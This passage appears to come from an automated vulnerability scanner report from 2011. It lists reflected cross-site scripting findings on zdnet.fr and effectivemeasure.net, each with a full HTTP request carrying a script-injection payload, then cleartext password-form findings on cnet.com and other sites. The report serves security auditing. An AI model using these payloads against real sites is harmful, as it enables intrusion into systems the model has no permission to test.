<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/css42eae"><script>alert(1)</script>24d34fadddb;s1=css42eae">
...[SNIP]...

1.592. http://www.zdnet.fr/css/thickbox.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/css/thickbox.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14c36"><script>alert(1)</script>5466f6a9f2d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /css14c36"><script>alert(1)</script>5466f6a9f2d/thickbox.css?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21485

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/css14c36"><script>alert(1)</script>5466f6a9f2d;s1=css14c36">
...[SNIP]...

1.593. http://www.zdnet.fr/js/carrousel.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/carrousel.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a15d5"><script>alert(1)</script>0fd05633022 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsa15d5"><script>alert(1)</script>0fd05633022/carrousel.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21473

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/jsa15d5"><script>alert(1)</script>0fd05633022;s1=jsa15d5">
...[SNIP]...

1.594. http://www.zdnet.fr/js/common.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/common.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f63fc"><script>alert(1)</script>c2c91294696 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsf63fc"><script>alert(1)</script>c2c91294696/common.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21467

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/jsf63fc"><script>alert(1)</script>c2c91294696;s1=jsf63fc">
...[SNIP]...

1.595. http://www.zdnet.fr/js/facebook.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/facebook.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b35f4"><script>alert(1)</script>f84e4434702 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsb35f4"><script>alert(1)</script>f84e4434702/facebook.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21471

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/jsb35f4"><script>alert(1)</script>f84e4434702;s1=jsb35f4">
...[SNIP]...

1.596. http://www.zdnet.fr/js/jquery.cookie.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/jquery.cookie.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 887b2"><script>alert(1)</script>3a2a1463b09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js887b2"><script>alert(1)</script>3a2a1463b09/jquery.cookie.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21479

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/js887b2"><script>alert(1)</script>3a2a1463b09;s1=js887b2">
...[SNIP]...

1.597. http://www.zdnet.fr/js/jquery.hoverIntent.minified.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8715"><script>alert(1)</script>01ca19a3756 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsc8715"><script>alert(1)</script>01ca19a3756/jquery.hoverIntent.minified.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/jsc8715"><script>alert(1)</script>01ca19a3756;s1=jsc8715">
...[SNIP]...

1.598. http://www.zdnet.fr/js/jquery.open.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/jquery.open.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8448"><script>alert(1)</script>d46d6a3a9b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsa8448"><script>alert(1)</script>d46d6a3a9b5/jquery.open.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21475

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/jsa8448"><script>alert(1)</script>d46d6a3a9b5;s1=jsa8448">
...[SNIP]...

1.599. http://www.zdnet.fr/js/jquery.pngFix.pack.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/jquery.pngFix.pack.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc899"><script>alert(1)</script>573831e6c9f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsfc899"><script>alert(1)</script>573831e6c9f/jquery.pngFix.pack.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21487

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/jsfc899"><script>alert(1)</script>573831e6c9f;s1=jsfc899">
...[SNIP]...

1.600. http://www.zdnet.fr/js/scripts.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/scripts.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f7ee"><script>alert(1)</script>0dd1d3204e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js4f7ee"><script>alert(1)</script>0dd1d3204e1/scripts.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21469

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/js4f7ee"><script>alert(1)</script>0dd1d3204e1;s1=js4f7ee">
...[SNIP]...

1.601. http://www.zdnet.fr/js/scrollingList.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.zdnet.fr
Path:	/js/scrollingList.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec47f"><script>alert(1)</script>ee86aa18a7c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsec47f"><script>alert(1)</script>ee86aa18a7c/scrollingList.js?v=20110908 HTTP/1.1
Host: www.zdnet.fr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: zdnet_fr_sid=6s6be7qtvjifbf5r4dbujqp2h4; ZDNetFlag[mobileBrowseACK]=1

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:15:50 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 21481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="fr" xml:lang="fr" xmlns:og="h
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://ad.fr.doubleclick.net/adj/skin.zdnet.fr/jsec47f"><script>alert(1)</script>ee86aa18a7c;s1=jsec47f">
...[SNIP]...

1.602. http://www9.effectivemeasure.net/v4/em_js [ns parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www9.effectivemeasure.net
Path:	/v4/em_js

Issue detail

The value of the ns request parameter is copied into the HTML document as plain text between tags. The payload a5eb9<script>alert(1)</script>a9363019ec9 was submitted in the ns parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v4/em_js?flag=0&v=&vt=&hl=&sv=0&pv=&pn=&p=aHR0cDovL3d3dy5saWZlaGFja2VyLmNvbS5hdS8%3D&r=aHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZQ%3D%3D&f=0&ns=_ema5eb9<script>alert(1)</script>a9363019ec9&rnd=0.1121701293131997&u=&sf=1& HTTP/1.1
Host: www9.effectivemeasure.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/
Cookie: vt=ffe99914f4871625e919d928fce04e4bf6a560aa60-428426584e4bf6c5

Response

HTTP/1.1 200 OK
P3P: policyref="http://www.effectivemeasure.net/w3c/p3p.xml", CP="NOI DSP COR NID PSA ADM OUR IND UNI NAV COM"
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-cache, must-revalidate
Pragma-directive: no-cache
Cache-Directive: no-cache
Expires: 0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: vt=e0c0f3f651739b0ca649d928fce04e4bf6a560aa60-428426584e7795c9; expires=Thu, 13-Sep-2012 19:19:37 GMT; path=/; domain=.effectivemeasure.net
Set-Cookie: v=c5772705abde71a0d8d3b6ec48de4e7795bfcd6ec1-592818184e7795c99_73; expires=Mon, 19-Sep-2011 19:49:37 GMT; path=/; domain=.effectivemeasure.net
Content-type: text/javascript
Connection: close
Content-Length: 304
Date: Mon, 19 Sep 2011 19:19:37 GMT
Server: C11

_ema5eb9<script>alert(1)</script>a9363019ec9._domain="lifehacker.com.au";_ema5eb9<script>alert(1)</script>a9363019ec9.setCkVt("e0c0f3f651739b0ca649d928fce04e4bf6a560aa60-428426584e7795c9");_ema5eb9<sc
...[SNIP]...

2. Cleartext submission of password previous next
There are 12 instances of this issue:

http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.filecluster.com/
http://www.filecluster.com/Games/
http://www.games.net/community/door_check.cfm
http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
http://www.law.com/js/registration_globalNavBar.js
http://www.pcworld.com/pcworldconnect/comment_registration
http://www.simplyhired.com/a/accounts/login

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.cnet.com/8750-4_1-0.xml

The form contains the following password field:

password

Request

GET /8799-4_1-0.html?nomesh&appId=103 HTTP/1.1
Host: www.cnet.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.cnet.com/?tag=hdr
Cookie: tempSessionId=Cg5gWk48EJUyF3tqMeo; arrowLat=1316460255837; XCLGFbrowser=Cg5iUk48EJ/sAAAAd0Q; cnet_joinCallout=1; arrowLrps=1312564961707:1312559263357; MADCAPP=0b3ouz=1; arrowSpc=2; arrowTmUser=false; MADTEST=1; cnet_rvpCallout=1; curs_gigya_appid=259; mad_rsi_segs=; arrowLnUser=false; arrowFdCounter=1; arrowHtcUser=false; wsFd=true

Response

2.2. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password fields:

password
passwordConf

Request

Response

2.3. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password fields:

password
passwordConf

Request

Response

2.4. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password field:

password

Request

Response

2.5. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password field:

password

Request

Response

2.6. http://www.filecluster.com/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.filecluster.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.filecluster.com/login.html

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.filecluster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:16:21 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: max-age=1, private, must-revalidate
Pragma: no-cache
Vary: User-Agent,Accept-Encoding
Content-Length: 62475
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
</strong>
       <form action="/login.html" method="post">
       <input type="text" class="textfield" name="login" value="username" onblur="if('' == this.value)this.value='username'" onclick="if('username' == this.value)this.value=''" />
    <input type="password" class="textfield" name="password" value="password" onblur="if('' == this.value)this.value='password'" onclick="if('password' == this.value)this.value=''" />
    <input type="submit" value="login" class="bRegister" />
...[SNIP]...

2.7. http://www.filecluster.com/Games/ previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.filecluster.com
Path:	/Games/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.filecluster.com/login.html

The form contains the following password field:

password

Request

GET /Games/ HTTP/1.1
Host: www.filecluster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.filecluster.com/
Cookie: PHPSESSID=a1402644b76c7ac05d862d47c1ac03af; __utma=45382579.1969471429.1316477828.1316477828.1316477828.1; __utmb=45382579.1.10.1316477828; __utmc=45382579; __utmz=45382579.1316477828.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:27:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: max-age=1, private, must-revalidate
Pragma: no-cache
Vary: User-Agent,Accept-Encoding
Content-Length: 28010
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
</strong>
       <form action="/login.html" method="post">
       <input type="text" class="textfield" name="login" value="username" onblur="if('' == this.value)this.value='username'" onclick="if('username' == this.value)this.value=''" />
    <input type="password" class="textfield" name="password" value="password" onblur="if('' == this.value)this.value='password'" onclick="if('password' == this.value)this.value=''" />
    <input type="submit" value="login" class="bRegister" />
...[SNIP]...

2.8. http://www.games.net/community/door_check.cfm previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.games.net
Path:	/community/door_check.cfm

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.games.net/community/login_action.cfm

The form contains the following password field:

the_password

Request

GET /community/door_check.cfm HTTP/1.1
Host: www.games.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.games.net/

Response

HTTP/1.1 200 OK
